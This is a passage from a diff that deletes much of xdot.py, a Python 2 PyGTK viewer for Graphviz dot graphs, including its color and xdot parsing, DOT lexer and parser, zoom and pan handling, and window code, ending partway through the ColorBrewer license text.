- return p - - def read_color(self): - # See http://www.graphviz.org/doc/info/attrs.html#k:color - c = self.read_text() - c1 = c[:1] - if c1 == '#': - hex2float = lambda h: float(int(h, 16)/255.0) - r = hex2float(c[1:3]) - g = hex2float(c[3:5]) - b = hex2float(c[5:7]) - try: - a = hex2float(c[7:9]) - except (IndexError, ValueError): - a = 1.0 - return r, g, b, a - elif c1.isdigit() or c1 == ".": - # "H,S,V" or "H S V" or "H, S, V" or any other variation - h, s, v = map(float, c.replace(",", " ").split()) - r, g, b = colorsys.hsv_to_rgb(h, s, v) - a = 1.0 - return r, g, b, a - else: - return self.lookup_color(c) - - def lookup_color(self, c): - try: - color = gtk.gdk.color_parse(c) - except ValueError: - pass - else: - s = 1.0/65535.0 - r = color.red*s - g = color.green*s - b = color.blue*s - a = 1.0 - return r, g, b, a - - try: - dummy, scheme, index = c.split('/') - r, g, b = brewer_colors[scheme][int(index)] - except (ValueError, KeyError): - pass - else: - s = 1.0/255.0 - r = r*s - g = g*s - b = b*s - a = 1.0 - return r, g, b, a - - sys.stderr.write("unknown color '%s'\n" % c) - return None - - def parse(self): - s = self - - while s: - op = s.read_code() - if op == "c": - color = s.read_color() - if color is not None: - self.handle_color(color, filled=False) - elif op == "C": - color = s.read_color() - if color is not None: - self.handle_color(color, filled=True) - elif op == "S": - # http://www.graphviz.org/doc/info/attrs.html#k:style - style = s.read_text() - if style.startswith("setlinewidth("): - lw = style.split("(")[1].split(")")[0] - lw = float(lw) - self.handle_linewidth(lw) - elif style in ("solid", "dashed"): - self.handle_linestyle(style) - elif op == "F": - size = s.read_float() - name = s.read_text() - self.handle_font(size, name) - elif op == "T": - x, y = s.read_point() - j = s.read_number() - w = s.read_number() - t = s.read_text() - self.handle_text(x, y, j, w, t) - elif op == "E": - x0, y0 = s.read_point() - w = s.read_number() - h = s.read_number() - self.handle_ellipse(x0, y0, w, h, filled=True) - elif op == "e": - x0, y0 = s.read_point() - w = s.read_number() - h = s.read_number() - self.handle_ellipse(x0, y0, w, h, filled=False) - elif op == "L": - points = self.read_polygon() - self.handle_line(points) - elif op == "B": - points = self.read_polygon() - self.handle_bezier(points, filled=False) - elif op == "b": - points = self.read_polygon() - self.handle_bezier(points, filled=True) - elif op == "P": - points = self.read_polygon() - self.handle_polygon(points, filled=True) - elif op == "p": - points = self.read_polygon() - self.handle_polygon(points, filled=False) - else: - sys.stderr.write("unknown xdot opcode '%s'\n" % op) - break - - return self.shapes - - def transform(self, x, y): - return self.parser.transform(x, y) - - def handle_color(self, color, filled=False): - if filled: - self.pen.fillcolor = color - else: - self.pen.color = color - - def handle_linewidth(self, linewidth): - self.pen.linewidth = linewidth - - def handle_linestyle(self, style): - if style == "solid": - self.pen.dash = () - elif style == "dashed": - self.pen.dash = (6, ) # 6pt on, 6pt off - - def handle_font(self, size, name): - self.pen.fontsize = size - self.pen.fontname = name - - def handle_text(self, x, y, j, w, t): - self.shapes.append(TextShape(self.pen, x, y, j, w, t)) - - def handle_ellipse(self, x0, y0, w, h, filled=False): - if filled: - # xdot uses this to mean "draw a filled shape with an outline" - self.shapes.append(EllipseShape(self.pen, x0, y0, w, h, filled=True)) - self.shapes.append(EllipseShape(self.pen, x0, y0, w, h)) - - def handle_line(self, points): - self.shapes.append(LineShape(self.pen, points)) - - def handle_bezier(self, points, filled=False): - if filled: - # xdot uses this to mean "draw a filled shape with an outline" - self.shapes.append(BezierShape(self.pen, points, filled=True)) - self.shapes.append(BezierShape(self.pen, points)) - - def handle_polygon(self, points, filled=False): - if filled: - # xdot uses this to mean "draw a filled shape with an outline" - self.shapes.append(PolygonShape(self.pen, points, filled=True)) - self.shapes.append(PolygonShape(self.pen, points)) - - -EOF = -1 -SKIP = -2 - - -class ParseError(Exception): - - def __init__(self, msg=None, filename=None, line=None, col=None): - self.msg = msg - self.filename = filename - self.line = line - self.col = col - - def __str__(self): - return ':'.join([str(part) for part in (self.filename, self.line, self.col, self.msg) if part != None]) - - -class Scanner: - """Stateless scanner.""" - - # should be overriden by derived classes - tokens = [] - symbols = {} - literals = {} - ignorecase = False - - def __init__(self): - flags = re.DOTALL - if self.ignorecase: - flags |= re.IGNORECASE - self.tokens_re = re.compile( - '|'.join(['(' + regexp + ')' for type, regexp, test_lit in self.tokens]), - flags - ) - - def next(self, buf, pos): - if pos >= len(buf): - return EOF, '', pos - mo = self.tokens_re.match(buf, pos) - if mo: - text = mo.group() - type, regexp, test_lit = self.tokens[mo.lastindex - 1] - pos = mo.end() - if test_lit: - type = self.literals.get(text, type) - return type, text, pos - else: - c = buf[pos] - return self.symbols.get(c, None), c, pos + 1 - - -class Token: - - def __init__(self, type, text, line, col): - self.type = type - self.text = text - self.line = line - self.col = col - - -class Lexer: - - # should be overriden by derived classes - scanner = None - tabsize = 8 - - newline_re = re.compile(r'\r\n?|\n') - - def __init__(self, buf = None, pos = 0, filename = None, fp = None): - if fp is not None: - try: - fileno = fp.fileno() - length = os.path.getsize(fp.name) - import mmap - except: - # read whole file into memory - buf = fp.read() - pos = 0 - else: - # map the whole file into memory - if length: - # length must not be zero - buf = mmap.mmap(fileno, length, access = mmap.ACCESS_READ) - pos = os.lseek(fileno, 0, 1) - else: - buf = '' - pos = 0 - - if filename is None: - try: - filename = fp.name - except AttributeError: - filename = None - - self.buf = buf - self.pos = pos - self.line = 1 - self.col = 1 - self.filename = filename - - def next(self): - while True: - # save state - pos = self.pos - line = self.line - col = self.col - - type, text, endpos = self.scanner.next(self.buf, pos) - assert pos + len(text) == endpos - self.consume(text) - type, text = self.filter(type, text) - self.pos = endpos - - if type == SKIP: - continue - elif type is None: - msg = 'unexpected char ' - if text >= ' ' and text <= '~': - msg += "'%s'" % text - else: - msg += "0x%X" % ord(text) - raise ParseError(msg, self.filename, line, col) - else: - break - return Token(type = type, text = text, line = line, col = col) - - def consume(self, text): - # update line number - pos = 0 - for mo in self.newline_re.finditer(text, pos): - self.line += 1 - self.col = 1 - pos = mo.end() - - # update column number - while True: - tabpos = text.find('\t', pos) - if tabpos == -1: - break - self.col += tabpos - pos - self.col = ((self.col - 1)//self.tabsize + 1)*self.tabsize + 1 - pos = tabpos + 1 - self.col += len(text) - pos - - -class Parser: - - def __init__(self, lexer): - self.lexer = lexer - self.lookahead = self.lexer.next() - - def match(self, type): - if self.lookahead.type != type: - raise ParseError( - msg = 'unexpected token %r' % self.lookahead.text, - filename = self.lexer.filename, - line = self.lookahead.line, - col = self.lookahead.col) - - def skip(self, type): - while self.lookahead.type != type: - self.consume() - - def consume(self): - token = self.lookahead - self.lookahead = self.lexer.next() - return token - - -ID = 0 -STR_ID = 1 -HTML_ID = 2 -EDGE_OP = 3 - -LSQUARE = 4 -RSQUARE = 5 -LCURLY = 6 -RCURLY = 7 -COMMA = 8 -COLON = 9 -SEMI = 10 -EQUAL = 11 -PLUS = 12 - -STRICT = 13 -GRAPH = 14 -DIGRAPH = 15 -NODE = 16 -EDGE = 17 -SUBGRAPH = 18 - - -class DotScanner(Scanner): - - # token regular expression table - tokens = [ - # whitespace and comments - (SKIP, - r'[ \t\f\r\n\v]+|' - r'//[^\r\n]*|' - r'/\*.*?\*/|' - r'#[^\r\n]*', - False), - - # Alphanumeric IDs - (ID, r'[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*', True), - - # Numeric IDs - (ID, r'-?(?:\.[0-9]+|[0-9]+(?:\.[0-9]*)?)', False), - - # String IDs - (STR_ID, r'"[^"\\]*(?:\\.[^"\\]*)*"', False), - - # HTML IDs - (HTML_ID, r'<[^<>]*(?:<[^<>]*>[^<>]*)*>', False), - - # Edge operators - (EDGE_OP, r'-[>-]', False), - ] - - # symbol table - symbols = { - '[': LSQUARE, - ']': RSQUARE, - '{': LCURLY, - '}': RCURLY, - ',': COMMA, - ':': COLON, - ';': SEMI, - '=': EQUAL, - '+': PLUS, - } - - # literal table - literals = { - 'strict': STRICT, - 'graph': GRAPH, - 'digraph': DIGRAPH, - 'node': NODE, - 'edge': EDGE, - 'subgraph': SUBGRAPH, - } - - ignorecase = True - - -class DotLexer(Lexer): - - scanner = DotScanner() - - def filter(self, type, text): - # TODO: handle charset - if type == STR_ID: - text = text[1:-1] - - # line continuations - text = text.replace('\\\r\n', '') - text = text.replace('\\\r', '') - text = text.replace('\\\n', '') - - text = text.replace('\\r', '\r') - text = text.replace('\\n', '\n') - text = text.replace('\\t', '\t') - text = text.replace('\\', '') - - type = ID - - elif type == HTML_ID: - text = text[1:-1] - type = ID - - return type, text - - -class DotParser(Parser): - - def __init__(self, lexer): - Parser.__init__(self, lexer) - self.graph_attrs = {} - self.node_attrs = {} - self.edge_attrs = {} - - def parse(self): - self.parse_graph() - self.match(EOF) - - def parse_graph(self): - if self.lookahead.type == STRICT: - self.consume() - self.skip(LCURLY) - self.consume() - while self.lookahead.type != RCURLY: - self.parse_stmt() - self.consume() - - def parse_subgraph(self): - id = None - if self.lookahead.type == SUBGRAPH: - self.consume() - if self.lookahead.type == ID: - id = self.lookahead.text - self.consume() - if self.lookahead.type == LCURLY: - self.consume() - while self.lookahead.type != RCURLY: - self.parse_stmt() - self.consume() - return id - - def parse_stmt(self): - if self.lookahead.type == GRAPH: - self.consume() - attrs = self.parse_attrs() - self.graph_attrs.update(attrs) - self.handle_graph(attrs) - elif self.lookahead.type == NODE: - self.consume() - self.node_attrs.update(self.parse_attrs()) - elif self.lookahead.type == EDGE: - self.consume() - self.edge_attrs.update(self.parse_attrs()) - elif self.lookahead.type in (SUBGRAPH, LCURLY): - self.parse_subgraph() - else: - id = self.parse_node_id() - if self.lookahead.type == EDGE_OP: - self.consume() - node_ids = [id, self.parse_node_id()] - while self.lookahead.type == EDGE_OP: - node_ids.append(self.parse_node_id()) - attrs = self.parse_attrs() - for i in range(0, len(node_ids) - 1): - self.handle_edge(node_ids[i], node_ids[i + 1], attrs) - elif self.lookahead.type == EQUAL: - self.consume() - self.parse_id() - else: - attrs = self.parse_attrs() - self.handle_node(id, attrs) - if self.lookahead.type == SEMI: - self.consume() - - def parse_attrs(self): - attrs = {} - while self.lookahead.type == LSQUARE: - self.consume() - while self.lookahead.type != RSQUARE: - name, value = self.parse_attr() - attrs[name] = value - if self.lookahead.type == COMMA: - self.consume() - self.consume() - return attrs - - def parse_attr(self): - name = self.parse_id() - if self.lookahead.type == EQUAL: - self.consume() - value = self.parse_id() - else: - value = 'true' - return name, value - - def parse_node_id(self): - node_id = self.parse_id() - if self.lookahead.type == COLON: - self.consume() - port = self.parse_id() - if self.lookahead.type == COLON: - self.consume() - compass_pt = self.parse_id() - else: - compass_pt = None - else: - port = None - compass_pt = None - # XXX: we don't really care about port and compass point values when parsing xdot - return node_id - - def parse_id(self): - self.match(ID) - id = self.lookahead.text - self.consume() - return id - - def handle_graph(self, attrs): - pass - - def handle_node(self, id, attrs): - pass - - def handle_edge(self, src_id, dst_id, attrs): - pass - - -class XDotParser(DotParser): - - def __init__(self, xdotcode): - lexer = DotLexer(buf = xdotcode) - DotParser.__init__(self, lexer) - - self.nodes = [] - self.edges = [] - self.shapes = [] - self.node_by_name = {} - self.top_graph = True - - def handle_graph(self, attrs): - if self.top_graph: - try: - bb = attrs['bb'] - except KeyError: - return - - if not bb: - return - - xmin, ymin, xmax, ymax = map(float, bb.split(",")) - - self.xoffset = -xmin - self.yoffset = -ymax - self.xscale = 1.0 - self.yscale = -1.0 - # FIXME: scale from points to pixels - - self.width = xmax - xmin - self.height = ymax - ymin - - self.top_graph = False - - for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"): - if attr in attrs: - parser = XDotAttrParser(self, attrs[attr]) - self.shapes.extend(parser.parse()) - - def handle_node(self, id, attrs): - try: - pos = attrs['pos'] - except KeyError: - return - - x, y = self.parse_node_pos(pos) - w = float(attrs['width'])*72 - h = float(attrs['height'])*72 - shapes = [] - for attr in ("_draw_", "_ldraw_"): - if attr in attrs: - parser = XDotAttrParser(self, attrs[attr]) - shapes.extend(parser.parse()) - url = attrs.get('URL', None) - node = Node(x, y, w, h, shapes, url) - self.node_by_name[id] = node - if shapes: - self.nodes.append(node) - - def handle_edge(self, src_id, dst_id, attrs): - try: - pos = attrs['pos'] - except KeyError: - return - - points = self.parse_edge_pos(pos) - shapes = [] - for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"): - if attr in attrs: - parser = XDotAttrParser(self, attrs[attr]) - shapes.extend(parser.parse()) - if shapes: - src = self.node_by_name[src_id] - dst = self.node_by_name[dst_id] - self.edges.append(Edge(src, dst, points, shapes)) - - def parse(self): - DotParser.parse(self) - - return Graph(self.width, self.height, self.shapes, self.nodes, self.edges) - - def parse_node_pos(self, pos): - x, y = pos.split(",") - return self.transform(float(x), float(y)) - - def parse_edge_pos(self, pos): - points = [] - for entry in pos.split(' '): - fields = entry.split(',') - try: - x, y = fields - except ValueError: - # TODO: handle start/end points - continue - else: - points.append(self.transform(float(x), float(y))) - return points - - def transform(self, x, y): - # XXX: this is not the right place for this code - x = (x + self.xoffset)*self.xscale - y = (y + self.yoffset)*self.yscale - return x, y - - -class Animation(object): - - step = 0.03 # seconds - - def __init__(self, dot_widget): - self.dot_widget = dot_widget - self.timeout_id = None - - def start(self): - self.timeout_id = gobject.timeout_add(int(self.step * 1000), self.tick) - - def stop(self): - self.dot_widget.animation = NoAnimation(self.dot_widget) - if self.timeout_id is not None: - gobject.source_remove(self.timeout_id) - self.timeout_id = None - - def tick(self): - self.stop() - - -class NoAnimation(Animation): - - def start(self): - pass - - def stop(self): - pass - - -class LinearAnimation(Animation): - - duration = 0.6 - - def start(self): - self.started = time.time() - Animation.start(self) - - def tick(self): - t = (time.time() - self.started) / self.duration - self.animate(max(0, min(t, 1))) - return (t < 1) - - def animate(self, t): - pass - - -class MoveToAnimation(LinearAnimation): - - def __init__(self, dot_widget, target_x, target_y): - Animation.__init__(self, dot_widget) - self.source_x = dot_widget.x - self.source_y = dot_widget.y - self.target_x = target_x - self.target_y = target_y - - def animate(self, t): - sx, sy = self.source_x, self.source_y - tx, ty = self.target_x, self.target_y - self.dot_widget.x = tx * t + sx * (1-t) - self.dot_widget.y = ty * t + sy * (1-t) - self.dot_widget.queue_draw() - - -class ZoomToAnimation(MoveToAnimation): - - def __init__(self, dot_widget, target_x, target_y): - MoveToAnimation.__init__(self, dot_widget, target_x, target_y) - self.source_zoom = dot_widget.zoom_ratio - self.target_zoom = self.source_zoom - self.extra_zoom = 0 - - middle_zoom = 0.5 * (self.source_zoom + self.target_zoom) - - distance = math.hypot(self.source_x - self.target_x, - self.source_y - self.target_y) - rect = self.dot_widget.get_allocation() - visible = min(rect.width, rect.height) / self.dot_widget.zoom_ratio - visible *= 0.9 - if distance > 0: - desired_middle_zoom = visible / distance - self.extra_zoom = min(0, 4 * (desired_middle_zoom - middle_zoom)) - - def animate(self, t): - a, b, c = self.source_zoom, self.extra_zoom, self.target_zoom - self.dot_widget.zoom_ratio = c*t + b*t*(1-t) + a*(1-t) - self.dot_widget.zoom_to_fit_on_resize = False - MoveToAnimation.animate(self, t) - - -class DragAction(object): - - def __init__(self, dot_widget): - self.dot_widget = dot_widget - - def on_button_press(self, event): - self.startmousex = self.prevmousex = event.x - self.startmousey = self.prevmousey = event.y - self.start() - - def on_motion_notify(self, event): - if event.is_hint: - x, y, state = event.window.get_pointer() - else: - x, y, state = event.x, event.y, event.state - deltax = self.prevmousex - x - deltay = self.prevmousey - y - self.drag(deltax, deltay) - self.prevmousex = x - self.prevmousey = y - - def on_button_release(self, event): - self.stopmousex = event.x - self.stopmousey = event.y - self.stop() - - def draw(self, cr): - pass - - def start(self): - pass - - def drag(self, deltax, deltay): - pass - - def stop(self): - pass - - def abort(self): - pass - - -class NullAction(DragAction): - - def on_motion_notify(self, event): - if event.is_hint: - x, y, state = event.window.get_pointer() - else: - x, y, state = event.x, event.y, event.state - dot_widget = self.dot_widget - item = dot_widget.get_url(x, y) - if item is None: - item = dot_widget.get_jump(x, y) - if item is not None: - dot_widget.window.set_cursor(gtk.gdk.Cursor(gtk.gdk.HAND2)) - dot_widget.set_highlight(item.highlight) - else: - dot_widget.window.set_cursor(gtk.gdk.Cursor(gtk.gdk.ARROW)) - dot_widget.set_highlight(None) - - -class PanAction(DragAction): - - def start(self): - self.dot_widget.window.set_cursor(gtk.gdk.Cursor(gtk.gdk.FLEUR)) - - def drag(self, deltax, deltay): - self.dot_widget.x += deltax / self.dot_widget.zoom_ratio - self.dot_widget.y += deltay / self.dot_widget.zoom_ratio - self.dot_widget.queue_draw() - - def stop(self): - self.dot_widget.window.set_cursor(gtk.gdk.Cursor(gtk.gdk.ARROW)) - - abort = stop - - -class ZoomAction(DragAction): - - def drag(self, deltax, deltay): - self.dot_widget.zoom_ratio *= 1.005 ** (deltax + deltay) - self.dot_widget.zoom_to_fit_on_resize = False - self.dot_widget.queue_draw() - - def stop(self): - self.dot_widget.queue_draw() - - -class ZoomAreaAction(DragAction): - - def drag(self, deltax, deltay): - self.dot_widget.queue_draw() - - def draw(self, cr): - cr.save() - cr.set_source_rgba(.5, .5, 1.0, 0.25) - cr.rectangle(self.startmousex, self.startmousey, - self.prevmousex - self.startmousex, - self.prevmousey - self.startmousey) - cr.fill() - cr.set_source_rgba(.5, .5, 1.0, 1.0) - cr.set_line_width(1) - cr.rectangle(self.startmousex - .5, self.startmousey - .5, - self.prevmousex - self.startmousex + 1, - self.prevmousey - self.startmousey + 1) - cr.stroke() - cr.restore() - - def stop(self): - x1, y1 = self.dot_widget.window2graph(self.startmousex, - self.startmousey) - x2, y2 = self.dot_widget.window2graph(self.stopmousex, - self.stopmousey) - self.dot_widget.zoom_to_area(x1, y1, x2, y2) - - def abort(self): - self.dot_widget.queue_draw() - - -class DotWidget(gtk.DrawingArea): - """PyGTK widget that draws dot graphs.""" - - __gsignals__ = { - 'expose-event': 'override', - 'clicked' : (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, (gobject.TYPE_STRING, gtk.gdk.Event)) - } - - filter = 'dot' - - def __init__(self): - gtk.DrawingArea.__init__(self) - - self.graph = Graph() - self.openfilename = None - - self.set_flags(gtk.CAN_FOCUS) - - self.add_events(gtk.gdk.BUTTON_PRESS_MASK | gtk.gdk.BUTTON_RELEASE_MASK) - self.connect("button-press-event", self.on_area_button_press) - self.connect("button-release-event", self.on_area_button_release) - self.add_events(gtk.gdk.POINTER_MOTION_MASK | gtk.gdk.POINTER_MOTION_HINT_MASK | gtk.gdk.BUTTON_RELEASE_MASK) - self.connect("motion-notify-event", self.on_area_motion_notify) - self.connect("scroll-event", self.on_area_scroll_event) - self.connect("size-allocate", self.on_area_size_allocate) - - self.connect('key-press-event', self.on_key_press_event) - - self.x, self.y = 0.0, 0.0 - self.zoom_ratio = 1.0 - self.zoom_to_fit_on_resize = False - self.animation = NoAnimation(self) - self.drag_action = NullAction(self) - self.presstime = None - self.highlight = None - - def set_filter(self, filter): - self.filter = filter - - def set_dotcode(self, dotcode, filename=''): - if isinstance(dotcode, unicode): - dotcode = dotcode.encode('utf8') - p = subprocess.Popen( - [self.filter, '-Txdot'], - stdin=subprocess.PIPE, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - shell=False, - universal_newlines=True - ) - xdotcode, error = p.communicate(dotcode) - if p.returncode != 0: - dialog = gtk.MessageDialog(type=gtk.MESSAGE_ERROR, - message_format=error, - buttons=gtk.BUTTONS_OK) - dialog.set_title('Dot Viewer') - dialog.run() - dialog.destroy() - return False - try: - self.set_xdotcode(xdotcode) - except ParseError, ex: - dialog = gtk.MessageDialog(type=gtk.MESSAGE_ERROR, - message_format=str(ex), - buttons=gtk.BUTTONS_OK) - dialog.set_title('Dot Viewer') - dialog.run() - dialog.destroy() - return False - else: - self.openfilename = filename - return True - - def set_xdotcode(self, xdotcode): - #print xdotcode - parser = XDotParser(xdotcode) - self.graph = parser.parse() - self.zoom_image(self.zoom_ratio, center=True) - - def reload(self): - if self.openfilename is not None: - try: - fp = file(self.openfilename, 'rt') - self.set_dotcode(fp.read(), self.openfilename) - fp.close() - except IOError: - pass - - def do_expose_event(self, event): - cr = self.window.cairo_create() - - # set a clip region for the expose event - cr.rectangle( - event.area.x, event.area.y, - event.area.width, event.area.height - ) - cr.clip() - - cr.set_source_rgba(1.0, 1.0, 1.0, 1.0) - cr.paint() - - cr.save() - rect = self.get_allocation() - cr.translate(0.5*rect.width, 0.5*rect.height) - cr.scale(self.zoom_ratio, self.zoom_ratio) - cr.translate(-self.x, -self.y) - - self.graph.draw(cr, highlight_items=self.highlight) - cr.restore() - - self.drag_action.draw(cr) - - return False - - def get_current_pos(self): - return self.x, self.y - - def set_current_pos(self, x, y): - self.x = x - self.y = y - self.queue_draw() - - def set_highlight(self, items): - if self.highlight != items: - self.highlight = items - self.queue_draw() - - def zoom_image(self, zoom_ratio, center=False, pos=None): - if center: - self.x = self.graph.width/2 - self.y = self.graph.height/2 - elif pos is not None: - rect = self.get_allocation() - x, y = pos - x -= 0.5*rect.width - y -= 0.5*rect.height - self.x += x / self.zoom_ratio - x / zoom_ratio - self.y += y / self.zoom_ratio - y / zoom_ratio - self.zoom_ratio = zoom_ratio - self.zoom_to_fit_on_resize = False - self.queue_draw() - - def zoom_to_area(self, x1, y1, x2, y2): - rect = self.get_allocation() - width = abs(x1 - x2) - height = abs(y1 - y2) - self.zoom_ratio = min( - float(rect.width)/float(width), - float(rect.height)/float(height) - ) - self.zoom_to_fit_on_resize = False - self.x = (x1 + x2) / 2 - self.y = (y1 + y2) / 2 - self.queue_draw() - - def zoom_to_fit(self): - rect = self.get_allocation() - rect.x += self.ZOOM_TO_FIT_MARGIN - rect.y += self.ZOOM_TO_FIT_MARGIN - rect.width -= 2 * self.ZOOM_TO_FIT_MARGIN - rect.height -= 2 * self.ZOOM_TO_FIT_MARGIN - zoom_ratio = min( - float(rect.width)/float(self.graph.width), - float(rect.height)/float(self.graph.height) - ) - self.zoom_image(zoom_ratio, center=True) - self.zoom_to_fit_on_resize = True - - ZOOM_INCREMENT = 1.25 - ZOOM_TO_FIT_MARGIN = 12 - - def on_zoom_in(self, action): - self.zoom_image(self.zoom_ratio * self.ZOOM_INCREMENT) - - def on_zoom_out(self, action): - self.zoom_image(self.zoom_ratio / self.ZOOM_INCREMENT) - - def on_zoom_fit(self, action): - self.zoom_to_fit() - - def on_zoom_100(self, action): - self.zoom_image(1.0) - - POS_INCREMENT = 100 - - def on_key_press_event(self, widget, event): - if event.keyval == gtk.keysyms.Left: - self.x -= self.POS_INCREMENT/self.zoom_ratio - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Right: - self.x += self.POS_INCREMENT/self.zoom_ratio - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Up: - self.y -= self.POS_INCREMENT/self.zoom_ratio - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Down: - self.y += self.POS_INCREMENT/self.zoom_ratio - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Page_Up: - self.zoom_image(self.zoom_ratio * self.ZOOM_INCREMENT) - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Page_Down: - self.zoom_image(self.zoom_ratio / self.ZOOM_INCREMENT) - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Escape: - self.drag_action.abort() - self.drag_action = NullAction(self) - return True - if event.keyval == gtk.keysyms.r: - self.reload() - return True - if event.keyval == gtk.keysyms.q: - gtk.main_quit() - return True - return False - - def get_drag_action(self, event): - state = event.state - if event.button in (1, 2): # left or middle button - if state & gtk.gdk.CONTROL_MASK: - return ZoomAction - elif state & gtk.gdk.SHIFT_MASK: - return ZoomAreaAction - else: - return PanAction - return NullAction - - def on_area_button_press(self, area, event): - self.animation.stop() - self.drag_action.abort() - action_type = self.get_drag_action(event) - self.drag_action = action_type(self) - self.drag_action.on_button_press(event) - self.presstime = time.time() - self.pressx = event.x - self.pressy = event.y - return False - - def is_click(self, event, click_fuzz=4, click_timeout=1.0): - assert event.type == gtk.gdk.BUTTON_RELEASE - if self.presstime is None: - # got a button release without seeing the press? - return False - # XXX instead of doing this complicated logic, shouldn't we listen - # for gtk's clicked event instead? - deltax = self.pressx - event.x - deltay = self.pressy - event.y - return (time.time() < self.presstime + click_timeout - and math.hypot(deltax, deltay) < click_fuzz) - - def on_area_button_release(self, area, event): - self.drag_action.on_button_release(event) - self.drag_action = NullAction(self) - if event.button == 1 and self.is_click(event): - x, y = int(event.x), int(event.y) - url = self.get_url(x, y) - if url is not None: - self.emit('clicked', unicode(url.url), event) - else: - jump = self.get_jump(x, y) - if jump is not None: - self.animate_to(jump.x, jump.y) - - return True - if event.button == 1 or event.button == 2: - return True - return False - - def on_area_scroll_event(self, area, event): - if event.direction == gtk.gdk.SCROLL_UP: - self.zoom_image(self.zoom_ratio * self.ZOOM_INCREMENT, - pos=(event.x, event.y)) - return True - if event.direction == gtk.gdk.SCROLL_DOWN: - self.zoom_image(self.zoom_ratio / self.ZOOM_INCREMENT, - pos=(event.x, event.y)) - return True - return False - - def on_area_motion_notify(self, area, event): - self.drag_action.on_motion_notify(event) - return True - - def on_area_size_allocate(self, area, allocation): - if self.zoom_to_fit_on_resize: - self.zoom_to_fit() - - def animate_to(self, x, y): - self.animation = ZoomToAnimation(self, x, y) - self.animation.start() - - def window2graph(self, x, y): - rect = self.get_allocation() - x -= 0.5*rect.width - y -= 0.5*rect.height - x /= self.zoom_ratio - y /= self.zoom_ratio - x += self.x - y += self.y - return x, y - - def get_url(self, x, y): - x, y = self.window2graph(x, y) - return self.graph.get_url(x, y) - - def get_jump(self, x, y): - x, y = self.window2graph(x, y) - return self.graph.get_jump(x, y) - - -class DotWindow(gtk.Window): - - ui = ''' - - - - - - - - - - - - ''' - - def __init__(self): - gtk.Window.__init__(self) - - self.graph = Graph() - - window = self - - window.set_title('Dot Viewer') - window.set_default_size(512, 512) - vbox = gtk.VBox() - window.add(vbox) - - self.widget = DotWidget() - - # Create a UIManager instance - uimanager = self.uimanager = gtk.UIManager() - - # Add the accelerator group to the toplevel window - accelgroup = uimanager.get_accel_group() - window.add_accel_group(accelgroup) - - # Create an ActionGroup - actiongroup = gtk.ActionGroup('Actions') - self.actiongroup = actiongroup - - # Create actions - actiongroup.add_actions(( - ('Open', gtk.STOCK_OPEN, None, None, None, self.on_open), - ('Reload', gtk.STOCK_REFRESH, None, None, None, self.on_reload), - ('ZoomIn', gtk.STOCK_ZOOM_IN, None, None, None, self.widget.on_zoom_in), - ('ZoomOut', gtk.STOCK_ZOOM_OUT, None, None, None, self.widget.on_zoom_out), - ('ZoomFit', gtk.STOCK_ZOOM_FIT, None, None, None, self.widget.on_zoom_fit), - ('Zoom100', gtk.STOCK_ZOOM_100, None, None, None, self.widget.on_zoom_100), - )) - - # Add the actiongroup to the uimanager - uimanager.insert_action_group(actiongroup, 0) - - # Add a UI descrption - uimanager.add_ui_from_string(self.ui) - - # Create a Toolbar - toolbar = uimanager.get_widget('/ToolBar') - vbox.pack_start(toolbar, False) - - vbox.pack_start(self.widget) - - self.set_focus(self.widget) - - self.show_all() - - def update(self, filename): - import os - if not hasattr(self, "last_mtime"): - self.last_mtime = None - - current_mtime = os.stat(filename).st_mtime - if current_mtime != self.last_mtime: - self.last_mtime = current_mtime - self.open_file(filename) - - return True - - def set_filter(self, filter): - self.widget.set_filter(filter) - - def set_dotcode(self, dotcode, filename=''): - if self.widget.set_dotcode(dotcode, filename): - self.set_title(os.path.basename(filename) + ' - Dot Viewer') - self.widget.zoom_to_fit() - - def set_xdotcode(self, xdotcode, filename=''): - if self.widget.set_xdotcode(xdotcode): - self.set_title(os.path.basename(filename) + ' - Dot Viewer') - self.widget.zoom_to_fit() - - def open_file(self, filename): - try: - fp = file(filename, 'rt') - self.set_dotcode(fp.read(), filename) - fp.close() - except IOError, ex: - dlg = gtk.MessageDialog(type=gtk.MESSAGE_ERROR, - message_format=str(ex), - buttons=gtk.BUTTONS_OK) - dlg.set_title('Dot Viewer') - dlg.run() - dlg.destroy() - - def on_open(self, action): - chooser = gtk.FileChooserDialog(title="Open dot File", - action=gtk.FILE_CHOOSER_ACTION_OPEN, - buttons=(gtk.STOCK_CANCEL, - gtk.RESPONSE_CANCEL, - gtk.STOCK_OPEN, - gtk.RESPONSE_OK)) - chooser.set_default_response(gtk.RESPONSE_OK) - filter = gtk.FileFilter() - filter.set_name("Graphviz dot files") - filter.add_pattern("*.dot") - chooser.add_filter(filter) - filter = gtk.FileFilter() - filter.set_name("All files") - filter.add_pattern("*") - chooser.add_filter(filter) - if chooser.run() == gtk.RESPONSE_OK: - filename = chooser.get_filename() - chooser.destroy() - self.open_file(filename) - else: - chooser.destroy() - - def on_reload(self, action): - self.widget.reload() - - -def main(): - import optparse - - parser = optparse.OptionParser( - usage='\n\t%prog [file]', - version='%%prog %s' % __version__) - parser.add_option( - '-f', '--filter', - type='choice', choices=('dot', 'neato', 'twopi', 'circo', 'fdp'), - dest='filter', default='dot', - help='graphviz filter: dot, neato, twopi, circo, or fdp [default: %default]') - - (options, args) = parser.parse_args(sys.argv[1:]) - if len(args) > 1: - parser.error('incorrect number of arguments') - - win = DotWindow() - win.connect('destroy', gtk.main_quit) - win.set_filter(options.filter) - if len(args) >= 1: - if args[0] == '-': - win.set_dotcode(sys.stdin.read()) - else: - win.open_file(args[0]) - gobject.timeout_add(1000, win.update, args[0]) - gtk.main() - - -# Apache-Style Software License for ColorBrewer software and ColorBrewer Color -# Schemes, Version 1.1 -# -# Copyright (c) 2002 Cynthia Brewer, Mark Harrower, and The Pennsylvania State -# University. All rights reserved. -# -# Redistribution and use in source and binary forms, with or without -# modification, are permitted provided that the following conditions are met: -# -# 1. Redistributions as source code must retain the above copyright notice, -# this list of conditions 